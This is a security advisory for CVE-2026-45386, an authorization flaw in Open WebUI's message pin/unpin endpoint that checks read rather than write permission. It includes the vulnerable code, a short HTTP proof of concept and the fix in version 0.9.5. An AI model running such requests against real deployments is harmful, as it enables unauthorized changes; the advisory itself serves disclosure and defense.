GHSA-5gc6-xhv4-2wg6

Опубликовано: 14 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 4.3

Описание

Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint

Summary

Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.

Details

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218

@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse]) async def pin_channel_message( request: Request, id: str, message_id: str, form_data: PinMessageForm, user=Depends(get_verified_user), db: Session = Depends(get_session), ): check_channels_access(request) channel = Channels.get_channel_by_id(id, db=db) if not channel: raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND) if channel.type in ['group', 'dm']: if not Channels.is_user_channel_member(channel.id, user.id, db=db): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT()) else: if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:

def channel_has_access( user_id: str, channel: ChannelModel, permission: str = 'read', # 'read' or 'write' strict: bool = True, db: Optional[Session] = None, ) -> bool: if AccessGrants.has_access( user_id=user_id, resource_type='channel', resource_id=channel.id, permission=permission, db=db, ): return True # ...

The AccessGrant table distinguishes between read and write permission levels.

PoC

admin creates Standard Channel with Read-Only Access for test1 :

POST /api/v1/channels/create Authorization: Content-Type: application/json { "name": "pin-test-standard", "access_grants": [ { "principal_type": "user", "principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c", "permission": "read" } ] }

admin posts a Message in the Channel, and test1 has read permission only.

test1 attempts to Pin Message:

POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin Authorization: Bearer <test1_token> Content-Type: application/json { "is_pinned": true }

{ "id": "4797359b-aad5-4081-9617-e8ca58524a87", "user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9", "is_pinned": true, "pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c", "pinned_at": 1774716314908288719, "content": "Admin announcement in standard channel - test1 should NOT be able to pin this" }

Successfully pinned admin's message. pinned_by records test1's user ID.

test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.

Impact

Read-only users can pin irrelevant messages, disrupting important information display in the channel .

Recommended Fix

Change the Pin endpoint's permission check from read to write .

Ссылки

Пакеты

Наименование

open-webui

pip

Затронутые версииВерсия исправления

<= 0.9.4

0.9.5

EPSS

Процентиль: 11%

0.00204

Низкий

4.3 Medium

CVSS3

CVE ID

CVE-2026-45386

Дефекты

CWE-639

Связанные уязвимости

CVE-2026-45386

CVSS3: 4.3

nvd

3 месяца назад

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message. This vulnerability is fixed in 0.9.5.

BDU:2026-07132

CVSS3: 4.3

fstec

3 месяца назад

Уязвимость веб-интерфейса на базе искуственного интеллекта Open WebUI, связанная с обходом авторизации посредством ключа, контролируемого пользователем, позволяющая нарушителю получить доступ на чтение, изменение или удаление данных

EPSS

Процентиль: 11%

0.00204

Низкий

4.3 Medium

CVSS3

CVE ID

CVE-2026-45386

Дефекты

CWE-639